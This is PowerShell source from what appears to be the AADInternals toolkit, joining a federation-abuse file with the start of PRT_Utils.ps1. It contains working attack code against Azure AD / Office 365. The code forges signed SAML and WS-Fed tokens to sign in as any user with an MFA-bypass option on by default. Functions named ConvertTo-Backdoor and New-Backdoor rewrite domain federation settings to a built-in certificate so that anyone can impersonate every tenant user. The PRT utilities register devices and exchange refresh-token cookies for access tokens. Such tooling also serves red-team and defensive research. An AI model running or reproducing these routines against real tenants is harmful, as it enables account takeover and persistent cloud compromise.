PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[String]$InResponseTo,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Process
{
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
if([String]::IsNullOrEmpty($InResponseTo))
{
$InResponseTo = "_$((New-Guid).ToString())";
}
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML2 assertion
$identifier = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($Issuer)
$assertion = New-Object System.IdentityModel.Tokens.Saml2Assertion($identifier)
# Set id, time, and issuer
$assertion.Id = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
# Create subject and related objects
$subject = New-Object System.IdentityModel.Tokens.Saml2Subject
$subject.NameId = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($ImmutableID)
$subject.NameId.Format = New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:nameid-format:persistent")
$confirmationData = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmationData
$confirmationData.InResponseTo = New-Object System.IdentityModel.Tokens.Saml2Id($InResponseTo)
$confirmationData.NotOnOrAfter = $NotAfter
$confirmationData.Recipient = New-Object System.uri("https://login.microsoftonline.com/login.srf")
$confirmation = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmation(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:cm:bearer"))#, $confirmationData)
$confirmation.SubjectConfirmationData = $confirmationData
$subject.SubjectConfirmations.Add($confirmation)
$assertion.Subject = $subject
# Create condition and audience objects
$conditions = New-Object System.IdentityModel.Tokens.Saml2Conditions
$conditions.NotBefore = $NotBefore
$conditions.NotOnOrAfter = $NotAfter
$conditions.AudienceRestrictions.Add((New-Object System.IdentityModel.Tokens.Saml2AudienceRestriction(New-Object System.Uri("urn:federation:MicrosoftOnline", [System.UriKind]::RelativeOrAbsolute))))
$assertion.Conditions = $conditions
# Add statements
$attrUPN = New-Object System.IdentityModel.Tokens.Saml2Attribute("IDPEmail",$UPN)
$statement = New-Object System.IdentityModel.Tokens.Saml2AttributeStatement
$statement.Attributes.Add($attrUPN)
$assertion.Statements.Add($statement)
$authenticationContext = New-Object System.IdentityModel.Tokens.Saml2AuthenticationContext(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"))
$authenticationStatement = New-Object System.IdentityModel.Tokens.Saml2AuthenticationStatement($authenticationContext)
$authenticationStatement.AuthenticationInstant = $NotBefore
$authenticationStatement.SessionIndex = $assertion.Id.Value
$assertion.Statements.Add($authenticationStatement)
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.Saml2SecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.Saml2SecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Create WSFed response
function New-WSFedResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAMLToken,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:Lifetime>
<wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotBefore.toString("o"))</wsu:Created>
<wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotAfter.toString("o"))</wsu:Expires>
</t:Lifetime>
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing">
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<t:RequestedSecurityToken>
$SAMLToken
</t:RequestedSecurityToken>
<t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
<t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType>
</t:RequestSecurityTokenResponse>
"@
return $response
}
}
# Create SAML-P response
function New-SAMLPResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAML2Token,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(Mandatory=$False)]
[String]$InResponseTo
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<samlp:Response ID="_$((New-Guid).ToString())" Version="2.0" IssueInstant="$($NotBefore.toString('s'))Z" Destination="https://login.microsoftonline.com/login.srf" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="$InResponseTo" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">$Issuer</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
$SAML2Token
</samlp:Response>
"@
return $response
}
}
# Opens a web browser and logins as the given user
function Open-Office365Portal
{
<#
.SYNOPSIS
Opens a web browser and logins to Office 365 as the given user
.DESCRIPTION
Creates an identity federation token and opens a login form in private or incognito window.
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to be federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter UseAnySTS
Uses internal any.sts certificate
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Parameter UseBuiltInCertificate
Use the built-in any.sts certificate.
.Parameter Browser
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
.Example
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$id=Get-AADIntImmutableID -ADUser (Get-ADUser firstname.lastname)
PS C:\>Open-AADIntOffice365Portal -ImmutableId $id -Issuer "http://mysts.company.com/adfs/ls" -UseBuiltInCertificate
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[ValidateSet('WSFED','SAMLP')]
$TokenType="WSFED",
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[ValidateSet('IE','Edge','Chrome')]
$Browser="Edge"
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
try
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
catch
{
$_
return
}
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
$form=""
if($TokenType -eq "WSFED")
{
# Create SAML token and WSFED response
$token=New-SAMLToken -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter -ByPassMFA $ByPassMFA
$wsfed=New-WSFedResponse -SAMLToken $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post" name="login">
<input name="wa" type="hidden" value="wsignin1.0" />
<input name="wctx" type="hidden" value="" />
<input name="wresult" type="hidden" value="$([System.Net.WebUtility]::HtmlEncode($wsfed))">
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button>
</form>
</body>
</html>
"@
}
else
{
# Create SAML2 token and SAMLP response
$token=New-SAML2Token -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter
$samlp=New-SAMLPResponse -SAML2Token $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post">
<input name="RelayState" value="" type="hidden"/>
<input name="SAMLResponse" value="$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlp)))" type="hidden"/>
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button>
</form>
</body>
</html>
"@
}
# Create a temporary file
# TODO: remove the tmp file
$tmp = New-TemporaryFile
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".html")
$html = ($tmp.FullName+".html")
# Write the form to the file
$form | Out-File $html
# Start the browser in private mode
if($Browser -eq "IE")
{
Start-Process iexplore.exe -ArgumentList "-private $("file:///$html")"
}
elseif($Browser -eq "Chrome")
{
Start-Process chrome.exe -ArgumentList "-incognito $("file:///$html")"
}
else
{
Start-Process msedge.exe -ArgumentList "-inprivate $("file:///$html")"
}
}
}
# Gets immutable id from AD user
function Get-ImmutableID
{
<#
.SYNOPSIS
Gets Immutable ID using user's AD object
.DESCRIPTION
Gets Immutable ID using user's AD object
.Parameter ADUser
Users AD object.
.Example
PS C:\>$user=Get-ADUser "myuser"
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$ADUser
)
Process
{
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
{
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
return
}
# Convert GUID to Base64
$guid=$ADUser.ObjectGUID.ToString()
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
return $ImmutableId
}
}
# Creates a backdoor to Azure AD by using an existing domain
function ConvertTo-Backdoor
{
<#
.SYNOPSIS
Converts a domain to a backdoor to Azure AD tenant.
.DESCRIPTION
Opens a backdoor to Azure AD tenant by altering the given domains authentication settings.
Allows logging in as any user of the tenant.
If the domain is managed, the certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
If the domain is already federated, the any.sts certificate will be added as NextSigningCertificate
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be used as a backdoor
.Parameter Create
If set, tries to create the domain
.Example
PS C:\>ConvertTo-AADIntBackdoor -DomainName company.myo365.site
IssuerUri Domain
--------- ------
http://any.sts/B231A11F company.myo365.site
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[switch]$Force
)
Process
{
# Unique ID
$UniqueID = '{0:X}' -f (Get-Date).GetHashCode()
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Set some variables
$domain = Get-Domain -AccessToken $AccessToken -DomainName $DomainName
$tenant_id = Get-TenantId -AccessToken $AccessToken
$LogOnOffUri ="https://any.sts/$UniqueID"
$IssuerUri = "http://any.sts/$UniqueID"
if($force)
{
$input = "yes"
}
else
{
$input = read-host "Are you sure to create backdoor with $DomainName`? Type YES to continue or CTRL+C to abort"
}
switch ($input) `
{
"yes" {
# Tries to create a new unverified domain
# Deprecated, doesn't work anymore
<#
if($Create)
{
New-Domain -AccessToken $AccessToken -Name $DomainName
# We need to wait a while for the domain to be created..
$seconds = 15
$done = (Get-Date).AddSeconds($seconds)
while($done -gt (Get-Date)) {
$secondsLeft = $done.Subtract((Get-Date)).TotalSeconds
$percent = ($seconds - $secondsLeft) / $seconds * 100
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining $secondsLeft -PercentComplete $percent
[System.Threading.Thread]::Sleep(500)
}
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining 0 -Completed
}
#>
if($domain.Authentication -eq "Federated")
{
Write-Verbose "Domain $DomainName is Federated, modifying NextTokenSigningCertificate"
$federationSettings = Get-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName
if(($federationSettings.SigningCertificate -eq $any_sts) -or ($federationSettings.NextSigningCertificate -eq $any_sts))
{
Throw "Domain $DomainName is already a back door"
}
$PassiveLogOnUri = $federationSettings.PassiveLogOnUri
$LogOffUri = $federationSettings.LogOffUri
$IssuerUri = $federationSettings.IssuerUri
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName -IssuerUri $IssuerUri -LogOffUri $LogOffUri -PassiveLogOnUri $PassiveLogOnUri -SigningCertificate $federationSettings.SigningCertificate -NextSigningCertificate $any_sts
}
else
{
Write-Verbose "Domain $DomainName is Mederated, converting to Federated"
Set-DomainAuthentication -Authentication Federated -AccessToken $AccessToken -DomainName $DomainName -LogOffUri $LogOnOffUri -PassiveLogOnUri $LogOnOffUri -IssuerUri $IssuerUri -SigningCertificate $any_sts -SupportsMfa $true
}
Return New-Object PSObject -Property @{"Domain"=$DomainName; "IssuerUri" = $IssuerUri}
}
default {
write-host "Aborted" -ForegroundColor Red
}
}
}
}
# Creates a backdoor to Azure AD
# 03.02.2019
# Deprecated, doesn't work anymore
function New-Backdoor
{
<#
.SYNOPSIS
Creates a new backdoor to Azure AD tenant.
.DESCRIPTION
Creates a new backdoor to Azure tenant by creating a new domain and by altering its authentication settings.
Allows logging in as any user of the tenant.
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
Utilises a bug in Azure AD, which allows converting unverified domains to federated.
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be created to be used as a backdoor. If not given, uses default.onmicrosoft.com.
.Example
PS C:\>New-AADIntBackdoor -DomainName backdoor.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$DomainName="microsoft.com"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
ConvertTo-Backdoor -AccessToken $AccessToken -DomainName $DomainName -Create
}
}
# Parses the issuer from the given certificate
# Nov 11th 2023
function Get-ADFSIssuer
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
# Issuer not provided, try to parse from the certificate subject
if([string]::IsNullOrEmpty($issuer) -and $Certificate.Subject.StartsWith("CN=ADFS Signing"))
{
Write-Verbose "Issuer not provided, trying to parse from certificate"
try
{
$server = $Certificate.Subject.Split("-")[1].TrimStart(" ")
$Issuer = "http://$server/adfs/services/trust"
}
catch{}
}
if([string]::IsNullOrEmpty($issuer))
{
throw "Issuer must be provided!"
}
return $Issuer
}
} |
PRT_Utils.ps1 | AADInternals-0.9.4 | # Aug 21st 2020
function Register-DeviceToAzureAD
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[String]$DeviceType,
[Parameter(Mandatory=$False)]
[String]$OSVersion,
[Parameter(Mandatory=$False)]
[Bool]$SharedDevice=$False,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[Guid]$TenantId,
[Parameter(Mandatory=$False)]
[String]$DomainController,
[Parameter(Mandatory=$False)]
[String]$SID,
[Parameter(Mandatory=$False)]
[Bool]$RegisterOnly=$false
)
Process
{
# If certificate provided, this is a Hybrid Join
if($hybrid = $Certificate -ne $null)
{
# Load the "user" certificate private key
try
{
$privateKey = Load-PrivateKey -Certificate $Certificate
}
catch
{
Write-Error "Could not extract the private key from the given certificate!"
return
}
$deviceId = $certificate.Subject.Split("=")[1]
try
{
$deviceIdGuid = [Guid]$deviceId
}
catch
{
Write-Error "The certificate subject is not a valid device id (GUID)!"
return
}
# Create the signature blob
$clientIdentity = "$($SID).$((Get-Date).ToUniversalTime().ToString("u"))"
$bClientIdentity = [System.Text.Encoding]::ASCII.GetBytes($clientIdentity)
$signedBlob = $privateKey.SignData($bClientIdentity, "SHA256")
$b64SignedBlob = Convert-ByteArrayToB64 -Bytes $signedBlob
}
else
{
# Get the domain and tenant id
$at_info = Read-Accesstoken -AccessToken $AccessToken
if([string]::IsNullOrEmpty($DomainName))
{
if($at_info.upn)
{
$DomainName = $at_info.upn.Split("@")[1]
}
else
{
# Access Token fetched with SAML token so no upn
# "unique_name" = "http://<domain>/adfs/services/trust/#"
$DomainName = $at_info.unique_name.split("/")[2]
$hybridSAML = $true
}
}
$tenantId = [GUID]$at_info.tid
$headers=@{"Authorization" = "Bearer $AccessToken"}
}
# Create a private key
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$CN = "CN=7E980AD9-B86D-4306-9425-9AC066FB014A"
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Create the signing request
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
# Use the device private key as a transport key just to make things simpler
$transportKey = Convert-ByteArrayToB64 -Bytes $rsa.Key.Export([System.Security.Cryptography.CngKeyBlobFormat]::GenericPublicBlob)
# Create the request body
# JoinType 0 = Azure AD join, transport key = device key
# JoinType 4 = Azure AD registered, transport key = device key
# JoinType 6 = Azure AD hybrid join, transport key = device key. Hybrid join this way is not supported, there must be an existing device with user cert.
$body=@{
"CertificateRequest" = @{
"Type" = "pkcs10"
"Data" = $csr
}
"Attributes" = @{
"ReuseDevice" = "$true"
"ReturnClientSid" = "$true"
"SharedDevice" = "$SharedDevice"
}
}
if($hybrid)
{
$body["JoinType"] = 6 # Hybrid Join
$body["ServerAdJoinData"] = @{
"TransportKey" = $transportKey
"TargetDomain" = $DomainName
"DeviceType" = $DeviceType
"OSVersion" = $OSVersion
"DeviceDisplayName" = $DeviceName
"SourceDomainController" = $DomainController
"TargetDomainId" = $tenantId.ToString()
"ClientIdentity" = @{
"Type" = "sha256signed"
"Sid" = $clientIdentity
"SignedBlob" = $b64SignedBlob
}
}
}
else
{
if($hybridSAML)
{
$body["JoinType"] = 6 # Hybrid Join
}
elseif($RegisterOnly)
{
$body["JoinType"] = 4 # Register
}
else
{
$body["JoinType"] = 0 # Join
}
$body["TransportKey"] = $transportKey
$body["TargetDomain"] = $DomainName
$body["DeviceType"] = $DeviceType
$body["OSVersion"] = $OSVersion
$body["DeviceDisplayName"] = $DeviceName
}
# Make the enrollment request
try
{
if($hybrid)
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$deviceId`?api-version=1.0" -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
}
else
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0" -Headers $headers -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
}
}
catch
{
Write-Error $_
return
}
Write-Debug "RESPONSE: $response"
# Get the certificate
$binCert = [byte[]] (Convert-B64ToByteArray -B64 $response.Certificate.RawBody)
# Create a new x509certificate
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$cert.PrivateKey = $privateKey
# Return
$returnValue=@(
$cert
$response
)
return $returnValue
}
}
# Aug 21st 2020
function Sign-JWT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(Mandatory=$False)]
[Byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
Process
{
if($PrivateKey)
{
# Sign the JWT (RS256)
$signature = $PrivateKey.SignData($Data, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
}
else
{
# Sign the JWT (HS256)
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$Key)
$signature = $hmac.ComputeHash($Data)
$hmac.Dispose()
}
# Return
return $signature
}
}
# Aug 24th 2020
# Derives a 32 byte key using the given context and session key
function Get-PRTDerivedKey
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[byte[]]$Context,
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[byte[]]$SessionKey,
[Parameter(ParameterSetName='B64',Mandatory=$True)]
[string]$B64Context,
[Parameter(ParameterSetName='B64',Mandatory=$True)]
[string]$B64SessionKey,
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
[string]$HexContext,
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
[string]$HexSessionKey
)
Process
{
if($B64Context)
{
$Context = Convert-B64ToByteArray $B64Context
$SessionKey = Convert-B64ToByteArray $B64SessionKey
}
elseif($HexContext)
{
$Context = Convert-HexToByteArray $HexContext
$SessionKey = Convert-HexToByteArray $HexSessionKey
}
# Fixed label
$label = [text.encoding]::UTF8.getBytes("AzureAD-SecureConversation")
# Derive the decryption key using a standard NIST SP 800-108 KDF
# As the key size is only 32 bytes (256 bits), no need to loop :)
$computeValue = @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $Context + @(0x00,0x00,0x01,0x00)
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$SessionKey)
$hmacOutput = $hmac.ComputeHash($computeValue)
Write-Verbose "DerivedKey: $(Convert-ByteArrayToHex $hmacOutput)"
# Return
$hmacOutput
}
}
# Get the access token with PRT
# Aug 20th 2020
function Get-AccessTokenWithPRT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Cookie,
[Parameter(Mandatory=$True)]
[String]$Resource,
[Parameter(Mandatory=$True)]
[String]$ClientId,
[Parameter(Mandatory=$False)]
[String]$RedirectUri,
[switch]$GetNonce,
[Parameter(Mandatory=$False)]
[String]$Tenant
)
Process
{
# If no tenant is given, use Common
if([string]::IsNullOrEmpty($Tenant))
{
$Tenant = "Common"
}
$parsedCookie = Read-Accesstoken $Cookie
#Set RedirectURI
if([string]::IsNullOrEmpty($RedirectUri))
{
$RedirectUri = Get-AuthRedirectUrl -ClientID $ClientId -Resource $Resource
}
# Create parameters
$mscrid = (New-Guid).ToString()
$requestId = $mscrid
# Create url and headers
$url = "https://login.microsoftonline.com/$Tenant/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectUri&client-request-id=$requestId&mscrid=$mscrid"
# Add sso_nonce if exist
if($parsedCookie.request_nonce)
{
$url += "&sso_nonce=$($parsedCookie.request_nonce)"
}
$headers = @{
"User-Agent" = ""
"x-ms-RefreshTokenCredential" = $Cookie
}
# First, make the request to get the authorisation code (tries to redirect so throws an error)
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Headers $headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
$code = Parse-CodeFromResponse -Response $response
if(!$code)
{
throw "Code not received!"
}
# Create the body
$body = @{
client_id = $ClientId
grant_type = "authorization_code"
code = $code
redirect_uri = $RedirectUri
}
# Make the second request to get the access token
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body -ContentType "application/x-www-form-urlencoded" -Method Post
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
# Get the access token with BPRT
# Jan 10th 2021
function Get-AccessTokenWithBPRT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$BPRT,
[Parameter(Mandatory=$True)]
[String]$Resource,
[Parameter(Mandatory=$True)]
[String]$ClientId
)
Process
{
Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
}
}
# Get the token with deviceid claim
# Aug 28th
function Set-AccessTokenDeviceAuth
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[bool]$BPRT,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$RefreshToken,
[Parameter(Mandatory=$False)]
